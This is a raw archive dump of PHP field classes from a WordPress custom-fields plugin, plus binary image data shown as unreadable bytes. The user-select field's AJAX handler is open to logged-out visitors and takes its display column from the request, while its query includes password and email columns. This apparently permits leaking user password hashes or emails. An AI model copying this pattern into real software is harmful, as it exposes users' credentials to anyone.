	public static function format_single_value( $field, $value, $args, $post_id ) {
		$output = '<tr>';
		foreach ( $value as $subvalue ) {
			$output .= "<td>$subvalue</td>";
		}
		$output .= '</tr>';
		return $output;
	}
}
PK     0w\\  \  *  dashboard/lib/meta-box/inc/fields/user.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The user select field.
 */
class RWMB_User_Field extends RWMB_Object_Choice_Field {
	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_users', [ __CLASS__, 'ajax_get_users' ] );
		add_action( 'wp_ajax_nopriv_rwmb_get_users', [ __CLASS__, 'ajax_get_users' ] );
		add_action( 'clean_user_cache', [ __CLASS__, 'update_cache' ] );
	}

	public static function ajax_get_users() {
		check_ajax_referer( 'query' );

		$request = rwmb_request();

		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );

		// Required for 'choice_label' filter. See self::filter().
		$field['clone']        = false;
		$field['_original_id'] = $field['id'];

		// Search.
		$term = (string) $request->filter_post( 'term' );
		if ( $term ) {
			$field['query_args']['search'] = "*{$term}*";
		}

		// Pagination.
		$limit = $field['query_args']['number'] ?? 0;
		$limit = (int) $limit;
		if ( $limit && 'query:append' === $request->filter_post( '_type' ) ) {
			$field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT );
		}

		// Query the database.
		$items = self::query( null, $field );
		$items = array_values( $items );

		$items = apply_filters( 'rwmb_ajax_get_users', $items, $field, $request );

		$data = [ 'items' => $items ];

		// More items for pagination.
		if ( $limit && count( $items ) === $limit ) {
			$data['more'] = true;
		}

		wp_send_json_success( $data );
	}

	/**
	 * Update object cache to make sure query method below always get the fresh list of users.
	 * Unlike posts and terms, WordPress doesn't set 'last_changed' for users.
	 * So we have to do it ourselves.
	 *
	 * @see clean_post_cache()
	 */
	public static function update_cache() {
		wp_cache_set( 'last_changed', microtime(), 'users' );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		// Set default field args.
		$field = wp_parse_args( $field, [
			'placeholder'   => __( 'Select a user', 'meta-box' ),
			'query_args'    => [],
			'display_field' => 'display_name',
		] );

		$field = parent::normalize( $field );

		// Set default query args.
		$limit               = $field['ajax'] ? 10 : 0;
		$field['query_args'] = wp_parse_args( $field['query_args'], [
			'number' => $limit,
		] );

		parent::set_ajax_params( $field );

		if ( $field['ajax'] ) {
			$field['js_options']['ajax_data']['field']['display_field'] = $field['display_field'];
		}

		return $field;
	}

	public static function query( $meta, array $field ): array {
		$display_field = $field['display_field'];
		$args          = wp_parse_args( $field['query_args'], [
			'orderby' => $display_field,
			'order'   => 'asc',
			'fields'  => [
				'ID',
				'user_login',
				'user_pass',
				'user_nicename',
				'user_email',
				'user_url',
				'user_registered',
				'user_status',
				'display_name',
			],
		] );

		$meta = wp_parse_id_list( (array) $meta );

		// Query only selected items.
		if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) {
			$args['include'] = $meta;
			$args['number']  = count( $meta );
		}

		// Get from cache to prevent same queries.
		$last_changed = wp_cache_get_last_changed( 'users' );
		$key          = md5( serialize( $args ) );
		$cache_key    = "$key:$last_changed";
		$options      = wp_cache_get( $cache_key, 'meta-box-user-field' );
		if ( false !== $options ) {
			return $options;
		}

		$users   = get_users( $args );
		$options = [];
		foreach ( $users as $user ) {
			$label = $user->$display_field ? $user->$display_field : __( '(No title)', 'meta-box' );
			$label = self::filter( 'choice_label', $label, $field, $user );

			$options[ $user->ID ] = [
				'value' => $user->ID,
				'label' => $label,
			];
		}

		// Cache the query.
		wp_cache_set( $cache_key, $options, 'meta-box-user-field' );

		return $options;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param int      $value   User ID.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}

		$link          = $args['link'] ?? 'view';
		$user          = get_userdata( $value );
		$display_field = $field['display_field'];
		$text          = $user->$display_field;

		if ( false === $link ) {
			return $text;
		}
		$url = get_author_posts_url( $value );
		if ( 'edit' === $link ) {
			$url = get_edit_user_link( $value );
		}

		return sprintf( '<a href="%s">%s</a>', esc_url( $url ), esc_html( $text ) );
	}

	public static function add_new_form( array $field ): string {
		if ( ! current_user_can( 'create_users' ) ) {
			return '';
		}

		return sprintf(
			'<a href="#" class="rwmb-user-add-button rwmb-modal-add-button" data-url="%s">%s</a>',
			admin_url( 'user-new.php' ),
			esc_html__( 'Add New User', 'meta-box' )
		);
	}
}
PK     0w\6   6   *  dashboard/lib/meta-box/inc/fields/icon.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The icon field.
 */
class RWMB_Icon_Field extends RWMB_Select_Advanced_Field {
	const CACHE_GROUP = 'meta-box-icon-field';

	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();

		wp_enqueue_style( 'rwmb-icon', RWMB_CSS_URL . 'icon.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-icon', 'path', RWMB_CSS_DIR . 'icon.css' );
		wp_enqueue_script( 'rwmb-icon', RWMB_JS_URL . 'icon.js', [ 'rwmb-select2', 'rwmb-select', 'underscore' ], RWMB_VER, true );

		$args  = func_get_args();
		$field = $args[0];
		self::enqueue_icon_font_style( $field );
	}

	private static function enqueue_icon_font_style( array $field ): void {
		if ( is_string( $field['icon_css'] ) ) {
			$handle = md5( $field['icon_css'] );
			wp_enqueue_style( $handle, $field['icon_css'], [], RWMB_VER );
		} elseif ( is_callable( $field['icon_css'] ) ) {
			$field['icon_css']();
		}
	}

	private static function get_icons( array $field ): array {
		// Get from cache to prevent reading large files.
		$params    = [
			'icon_file' => $field['icon_file'],
			'icon_dir'  => $field['icon_dir'],
			'icon_css'  => is_string( $field['icon_css'] ) ? $field['icon_css'] : '',
		];
		$cache_key = md5( serialize( $params ) ) . '-icons';
		$icons     = wp_cache_get( $cache_key, self::CACHE_GROUP );
		if ( false !== $icons ) {
			return $icons;
		}

		$data = self::parse_icon_data( $field );

		// Reformat icons.
		$icons = [];
		foreach ( $data as $key => $icon ) {
			$icon = self::normalize_icon( $field, $key, $icon );

			if ( is_numeric( key( $icon ) ) ) {
				$icons = array_merge( $icons, $icon );
				continue;
			}

			$icons[] = $icon;
		}

		// Cache the result.
		wp_cache_set( $cache_key, $icons, self::CACHE_GROUP );
		return $icons;
	}

	private static function parse_icon_data( array $field ): array {
		$keys = [
			'icon_file',
			'icon_css',
			'icon_dir',
		];
		foreach ( $keys as $key ) {
			if ( ! empty( $field[ $key ] ) && is_string( $field[ $key ] ) ) {
				return call_user_func( [ __CLASS__, "parse_$key" ], $field );
			}
		}

		return [];
	}

	private static function parse_icon_file( array $field ): array {
		if ( ! file_exists( $field['icon_file'] ) ) {
			return [];
		}

		$data    = (string) file_get_contents( $field['icon_file'] );
		$decoded = json_decode( $data, true );

		// JSON file.
		if ( JSON_ERROR_NONE === json_last_error() ) {
			return $decoded;
		}

		// Text file: each icon on a line.
		return array_map( 'trim', explode( "\n", $data ) );
	}

	private static function parse_icon_css( array $field ): array {
		// Parse local CSS file only.
		$file = self::url_to_path( $field['icon_css'] );
		if ( ! file_exists( $file ) ) {
			return [];
		}

		$css = (string) file_get_contents( $file );

		preg_match_all( '/\.([^\s:]+):before/', $css, $matches );

		if ( empty( $matches[1] ) ) {
			preg_match_all( '/\.([^\s:]+)/', $css, $matches );
		}

		return $matches[1];
	}

	private static function parse_icon_dir( array $field ): array {
		$dir = $field['icon_dir'];
		if ( ! is_dir( $dir ) ) {
			return [];
		}

		$icons = [];
		$files = glob( trailingslashit( $dir ) . '*.svg' );

		foreach ( $files as $file ) {
			$filename = substr( basename( $file ), 0, -4 );
			$icons[]  = [
				'value' => $filename,
				'label' => $filename,
				'svg'   => file_get_contents( $file ),
			];
		}

		return $icons;
	}

	private static function normalize_icon( array $field, $key, $icon ): array {
		// Default: Font Awesome Free.
		if ( $field['icon_set'] === 'font-awesome-free' ) {
			$style = $icon['styles'][0];
			return [
				'value' => "fa-{$style} fa-{$key}",
				'label' => $icon['label'],
				'svg'   => $icon['svg'][ $style ]['raw'],
			];
		}

		// Font Awesome Pro.
		if ( $field['icon_set'] === 'font-awesome-pro' ) {
			$icons = [];
			foreach ( $icon['styles'] as $style ) {
				$icons[] = [
					'value' => "fa-{$style} fa-{$key}",
					'label' => "{$icon[ 'label' ]} ({$style})",
					'svg'   => $icon['svg'][ $style ]['raw'],
				];
			}
			return $icons;
		}

		// JSON file: "icon-class": { "label": "Label", "svg": "<svg...>" } or from `icon_dir`.
		if ( is_array( $icon ) ) {
			return [
				'value' => $icon['value'] ?? $key,
				'label' => $icon['label'] ?? $key,
				'svg'   => $icon['svg'] ?? '',
			];
		}

		// JSON file: "icon-class": "Label" or "icon-class": "<svg...>".
		if ( is_string( $key ) ) {
			$label = str_contains( $icon, '<svg' ) ? $key : $icon;
			$svg   = str_contains( $icon, '<svg' ) ? $icon : '';
			return [
				'value' => $key,
				'label' => $label,
				'svg'   => $svg,
			];
		}

		// Parse classes from CSS.
		if ( $field['icon_css'] && ! $field['icon_file'] ) {
			$icon = trim( $field['icon_base_class'] . ' ' . $icon );
		}

		// Text file: each icon on a line.
		return [
			'value' => $icon,
			'label' => $icon,
			'svg'   => '',
		];
	}

	private static function get_svg( array $field, string $value ): string {
		$file = trailingslashit( $field['icon_dir'] ) . $value . '.svg';
		return file_exists( $file ) ? file_get_contents( $file ) : '';
	}

	private static function get_options( array $field ): array {
		$icons = self::get_icons( $field );

		$options = [];
		foreach ( $icons as $icon ) {
			$svg = ! $icon['svg'] && $field['icon_dir'] ? self::get_svg( $field, $icon['value'] ) : $icon['svg'];

			$options[] = [
				'value' => $icon['value'],
				'label' => $svg . $icon['label'],
			];
		}

		return $options;
	}

	/**
	 * Normalize field settings.
	 *
	 * @param array $field Field settings.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'placeholder'     => __( 'Select an icon', 'meta-box' ),
			'icon_css'        => '',
			'icon_set'        => '',
			'icon_file'       => '',
			'icon_dir'        => '',
			'icon_base_class' => '',
		] );

		// Ensure absolute paths and URLs.
		$field['icon_file'] = self::ensure_absolute_path( $field['icon_file'] );
		$field['icon_dir']  = self::ensure_absolute_path( $field['icon_dir'] );
		if ( is_string( $field['icon_css'] ) && $field['icon_css'] ) {
			$field['icon_css'] = self::ensure_absolute_url( $field['icon_css'] );
		}

		// Font Awesome Pro.
		if ( $field['icon_set'] === 'font-awesome-pro' ) {

		} elseif ( $field['icon_file'] || $field['icon_dir'] || $field['icon_css'] ) {
			// Custom icon set.
			$field['icon_set'] = 'custom';
		} else {
			// Font Awesome Free.
			$field['icon_set']  = 'font-awesome-free';
			$field['icon_file'] = RWMB_DIR . 'css/fontawesome/icons.json';
		}

		$field['options'] = self::get_options( $field );

		$field = parent::normalize( $field );

		return $field;
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		// SVG from file.
		if ( $field['icon_dir'] ) {
			return self::get_svg( $field, $value );
		}

		$icons = self::get_icons( $field );
		$key   = array_search( $value, array_column( $icons, 'value' ) );
		if ( false === $key ) {
			return '';
		}

		// Embed SVG.
		if ( $icons[ $key ]['svg'] ) {
			return $icons[ $key ]['svg'];
		}

		// Render with class and use css.
		self::enqueue_icon_font_style( $field );
		return sprintf( '<span class="%s"></span>', $value );
	}

	private static function url_to_path( string $url ): string {
		return str_starts_with( $url, home_url( '/' ) ) ? str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $url ) : '';
	}

	private static function ensure_absolute_path( string $path ): string {
		if ( ! $path || file_exists( $path ) ) {
			return $path;
		}

		$root = wp_normalize_path( ABSPATH );
		$path = wp_normalize_path( $path );

		return str_starts_with( $path, $root ) ? $path : trailingslashit( $root ) . ltrim( $path, '/' );
	}

	private static function ensure_absolute_url( string $url ): string {
		return filter_var( $url, FILTER_VALIDATE_URL ) ? $url : home_url( $url );
	}
}
PK     0w\4A]
  
  ,  dashboard/lib/meta-box/inc/fields/button.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The button field. Simply displays a HTML button which might be used for JavaScript actions.
 */
class RWMB_Button_Field extends RWMB_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field The field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field );
		return sprintf( '<button %s>%s</button>', self::render_attributes( $attributes ), $field['std'] );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field The field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'std' => __( 'Click me', 'meta-box' ),
		] );
		$field = parent::normalize( $field );
		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field The field parameters.
	 * @param mixed $value The attribute value.
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes           = parent::get_attributes( $field, $value );
		$attributes           = wp_parse_args( $attributes, [
			'type' => $field['type'],
		] );
		$attributes['class'] .= ' button hide-if-no-js';

		return $attributes;
	}
}
PK     0w\Te    -  dashboard/lib/meta-box/inc/fields/sidebar.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The sidebar select field.
 */
class RWMB_Sidebar_Field extends RWMB_Object_Choice_Field {
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'placeholder' => __( 'Select a sidebar', 'meta-box' ),
		] );

		$field = parent::normalize( $field );

		return $field;
	}

	public static function query( $meta, array $field ) : array {
		global $wp_registered_sidebars;
		$options = [];
		foreach ( $wp_registered_sidebars as $sidebar ) {
			$options[ $sidebar['id'] ] = [
				'value' => $sidebar['id'],
				'label' => $sidebar['name'],
			];
		}
		return $options;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( ! is_active_sidebar( $value ) ) {
			return '';
		}
		ob_start();
		dynamic_sidebar( $value );
		return ob_get_clean();
	}
}
PK     0w\    +  dashboard/lib/meta-box/inc/fields/input.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The abstract input field which is used for all <input> fields.
 */
abstract class RWMB_Input_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-input', RWMB_CSS_URL . 'input.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-input', 'path', RWMB_CSS_DIR . 'input.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$output = '';

		if ( $field['prepend'] || $field['append'] ) {
			$output = '<div class="rwmb-input-group">';
		}

		if ( $field['prepend'] ) {
			$output .= '<span class="rwmb-input-group-text">' . $field['prepend'] . '</span>';
		}

		$attributes = static::get_attributes( $field, $meta );
		$output    .= sprintf( '<input %s>%s', self::render_attributes( $attributes ), self::datalist( $field ) );

		if ( $field['append'] ) {
			$output .= '<span class="rwmb-input-group-text">' . $field['append'] . '</span>';
		}

		if ( $field['prepend'] || $field['append'] ) {
			$output .= '</div>';
		}

		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'autocomplete' => false,
			'datalist'     => false,
			'readonly'     => false,
			'maxlength'    => false,
			'minlength'    => false,
			'pattern'      => false,
			'prepend'      => '',
			'append'       => '',
		] );
		if ( $field['datalist'] ) {
			$field['datalist'] = wp_parse_args( $field['datalist'], [
				'id'      => $field['id'] . '_list',
				'options' => [],
			] );
		}
		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'autocomplete' => $field['autocomplete'],
			'list'         => $field['datalist'] ? $field['datalist']['id'] : false,
			'readonly'     => $field['readonly'],
			'maxlength'    => $field['maxlength'],
			'minlength'    => $field['minlength'],
			'pattern'      => $field['pattern'],
			'value'        => $value,
			'placeholder'  => $field['placeholder'],
			'type'         => $field['type'],
		] );
		if ( isset( $field['size'] ) ) {
			$attributes['size'] = $field['size'];
		}

		return $attributes;
	}

	protected static function datalist( array $field ) : string {
		if ( empty( $field['datalist'] ) ) {
			return '';
		}

		$datalist = $field['datalist'];
		$html     = sprintf( '<datalist id="%s">', $datalist['id'] );
		foreach ( $datalist['options'] as $option ) {
			$html .= sprintf( '<option value="%s"></option>', $option );
		}
		$html .= '</datalist>';
		return $html;
	}
}
PK     0w\vOʩ	  	  5  dashboard/lib/meta-box/inc/fields/select-advanced.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The beautiful select field using select2 library.
 */
class RWMB_Select_Advanced_Field extends RWMB_Select_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_style( 'rwmb-select2', RWMB_CSS_URL . 'select2/select2.css', [], '4.0.10' );
		wp_style_add_data( 'rwmb-select2', 'path', RWMB_CSS_DIR . 'select2/select2.css' );

		wp_enqueue_style( 'rwmb-select-advanced', RWMB_CSS_URL . 'select-advanced.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-select-advanced', 'path', RWMB_CSS_DIR . 'select-advanced.css' );

		wp_register_script( 'rwmb-select2', RWMB_JS_URL . 'select2/select2.min.js', [ 'jquery' ], '4.0.10', true );

		// Localize.
		$dependencies = [ 'rwmb-select2', 'rwmb-select', 'underscore' ];
		$locale       = str_replace( '_', '-', get_locale() );
		$locale_short = substr( $locale, 0, 2 );
		$locale       = file_exists( RWMB_DIR . "js/select2/i18n/$locale.js" ) ? $locale : $locale_short;

		if ( file_exists( RWMB_DIR . "js/select2/i18n/$locale.js" ) ) {
			wp_register_script( 'rwmb-select2-i18n', RWMB_JS_URL . "select2/i18n/$locale.js", [ 'rwmb-select2' ], '4.0.10', true );
			$dependencies[] = 'rwmb-select2-i18n';
		}

		wp_enqueue_script( 'rwmb-select-advanced', RWMB_JS_URL . 'select-advanced.js', $dependencies, RWMB_VER, true );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-select-advanced', 'rwmbSelect2', [
			'isAdmin' => is_admin(),
		]);
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'js_options'  => [],
			'placeholder' => __( 'Select an item', 'meta-box' ),
		] );

		$field = parent::normalize( $field );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'allowClear'        => true,
			'dropdownAutoWidth' => true,
			'placeholder'       => $field['placeholder'],
			'width'             => 'style',
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'data-options' => wp_json_encode( $field['js_options'] ),
		] );

		return $attributes;
	}
}
PK     0w\#(oc  c  *  dashboard/lib/meta-box/inc/fields/date.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The date picker field, which uses built-in jQueryUI date picker widget.
 */
class RWMB_Date_Field extends RWMB_Datetime_Field {
	public static function admin_enqueue_scripts() {
		parent::register_assets();
		wp_enqueue_style( 'rwmb-date' );
		wp_enqueue_script( 'rwmb-date' );
	}

	/**
	 * Returns a date() compatible format string from the JavaScript format.
	 * @link http://www.php.net/manual/en/function.date.php
	 */
	protected static function get_php_format( array $js_options ) : string {
		return strtr( $js_options['dateFormat'], self::$date_formats );
	}
}
PK     0w\"8L	  L	  ,  dashboard/lib/meta-box/inc/fields/switch.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The Switch field.
 */
class RWMB_Switch_Field extends RWMB_Input_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-switch', RWMB_CSS_URL . 'switch.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-switch', 'path', RWMB_CSS_DIR . 'switch.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field, 1 );
		$output     = sprintf(
			'<label class="rwmb-switch-label rwmb-switch-label--' . esc_attr( $field['style'] ) . '">
				<input %s %s>
				<div class="rwmb-switch-status">
					<span class="rwmb-switch-slider"></span>
					<span class="rwmb-switch-on">' . $field['on_label'] . '</span>
					<span class="rwmb-switch-off">' . $field['off_label'] . '</span>
				</div>
				</label>
			',
			self::render_attributes( $attributes ),
			checked( ! empty( $meta ), 1, false )
		);

		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'style'     => 'rounded',
			'on_label'  => '',
			'off_label' => '',
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field The field parameters.
	 * @param mixed $value The attribute value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes['type'] = 'checkbox';

		return $attributes;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$on  = $field['on_label'] ?: __( 'On', 'meta-box' );
		$off = $field['off_label'] ?: __( 'Off', 'meta-box' );
		return $value ? $on : $off;
	}
}
PK     0w\B    2  dashboard/lib/meta-box/inc/fields/single-image.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The advanced image upload field which uses WordPress media popup to upload and select images.
 */
class RWMB_Single_Image_Field extends RWMB_Image_Advanced_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['max_file_uploads'] = 1;
		$field['max_status']       = false;

		$field = parent::normalize( $field );

		$field['attributes'] = wp_parse_args( $field['attributes'], [
			'class'             => '',
			'data-single-image' => 1,
		] );

		$field['attributes']['class'] .= ' rwmb-image_advanced';
		$field['multiple']             = false;

		return $field;
	}

	/**
	 * Get meta values to save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array|mixed
	 */
	public static function value( $new, $old, $post_id, $field ) {
		return $new;
	}

	/**
	 * Get the field value. Return meaningful info of the files.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Not used for this field.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed Full info of uploaded files
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = RWMB_Field::get_value( $field, $args, $post_id );

		if ( ! is_array( $value ) ) {
			return RWMB_Image_Field::file_info( $value, $args, $field );
		}

		$return = [];
		foreach ( $value as $image_id ) {
			$return[] = RWMB_Image_Field::file_info( $image_id, $args, $field );
		}

		return $return;
	}
}
PK     0w\A^  ^  1  dashboard/lib/meta-box/inc/fields/file-upload.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The file upload field which allows users to drag and drop files to upload.
 */
class RWMB_File_Upload_Field extends RWMB_Media_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_style( 'rwmb-upload', RWMB_CSS_URL . 'upload.css', [ 'rwmb-media' ], RWMB_VER );
		wp_style_add_data( 'rwmb-upload', 'path', RWMB_CSS_DIR . 'upload.css' );
		wp_enqueue_script( 'rwmb-file-upload', RWMB_JS_URL . 'file-upload.js', [ 'rwmb-media' ], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'max_file_size' => 0,
		] );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'maxFileSize' => $field['max_file_size'],
		] );

		return $field;
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		parent::print_templates();
		require RWMB_INC_DIR . 'templates/upload.php';
	}
}
PK     0w\ݽj   j   (  dashboard/lib/meta-box/img/drag_icon.gifnu [        GIF89a   :::         !   ,       /H0 
rG1xCYlf+T4͵ ;PK     0w\Yo      C  dashboard/lib/meta-box/img/jqueryui/ui-bg_flat_75_ffffff_40x100.pngnu [        PNG

   IHDR   (   d   drz   yIDATh1  R	7(ȚV`%X	V`%X	V`%X	V`%X	V`%X	V`%X	V`%X	V`%X	V`%X	V`%X	V`%X	V`%X	Vj)2N    IENDB`PK     0w\    ?  dashboard/lib/meta-box/img/jqueryui/ui-icons_888888_256x240.pngnu [        PNG

   IHDR         IJ   PLTEƁO   NtRNS 2P."Tp@f` <BHJZ&0R,4j8D|($
blߝF>n~hhH  IDATx]b۶H儒-{iZK:glkn-tIqq?  E$dK>$>; PZ sVh!Sy0E0}H)-tkoܪKp\RϠ .E7
)*V;~PeBx*,=$zDؾ  JҸٻ 9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;"
i]dddddddd4y5 	Rb@(8CdŪݡ,@T@ibrq0alX!pe,	=4bW {
5Ƭhu~(Q^@3="b5XC@JCT76q_5@,r	šɩD)T|O@
ON-ՙ	[n@RXIm݋(F @?=0puL;g$@6η
K`>п @h գKVn"a"%l@.v$/U^G:#`` uTtK~ŋZ5T%kxk]\*Q,҇B44OXK|yg+_M(lоEO
 V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V
rh(]tI^}oצoS3	";ʙb}"߰	){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.} Q3.Nس} )>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa3	{oB&<L[Nc.öi=` Q@d
͆I.Il`\t[< Cit484-r+f쑱BCB MH	iy }>rxp|z;BǏ;burcK4tz1G~`ؚK|	̔>ۡO$~
Ao)0pzz
} i `;ADm8n:cfA@s7L  Z/..h8or?N93B~o_'` opO-:TG	L;7]`B%˛>*wTpM 0H}&t^1'Oqr'2P͡+z,tIW''|en=ǳgRm[NStK{҉mؓVt6ҲR`ζN&}B	U(r<qȁVyrrA**دzg6D#	YP`vs~(zMle|uQa*}+TRXc"+*NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4)`N狌.߭ ǣ)q	2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\	%,ߚ/pR~/^lnp7t0_0l4_b0MWΦjmбɎl
|reȫ`B-v.iRox}
)%#`ЂR5CA2sua sYy3=jaeoI7~.plA΃
`O)	^>Mz	+4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G FZ)O	!lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a v]m1+3 y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c-賟Lδ>]5.sYs1f0;'̨Yg銛{@9	`aC(=%bo2=n1	jBoS$n#m =i0ci9}oI	qT] W%.(؅]z\x
f"]o'u䫵tk{v;A C3ֆwwR_#X(xҋ/q%Whpk_IX'b/fXKi"#####QCLi2t5L 0
QiH2;yTOok;עٶ`RNg{zy! Kxm?A(vU~mL(`o/!nmX-{v [ dw=n「sdwzn(}Oy~m
?XU;, V'+V&JRZ]᧭:zC'-߆@y4u`Vۓwъ#zP@QN>2/{\o) W~a3xLw:_Q;=pּdt\'8~3SRP6y+XQ*޺r
̗ѭ*޺r
gl/\U^u$|mbVnw\V|D͊NVNy7 k<;/E}?E*ǳgO ~g/96f
cD}%g$QG7o) UJo,O@0߾Q(;bw:5	NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 
3
u	Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP    IENDB`PK     0w\7     ?  dashboard/lib/meta-box/img/jqueryui/ui-icons_222222_256x240.pngnu [        PNG

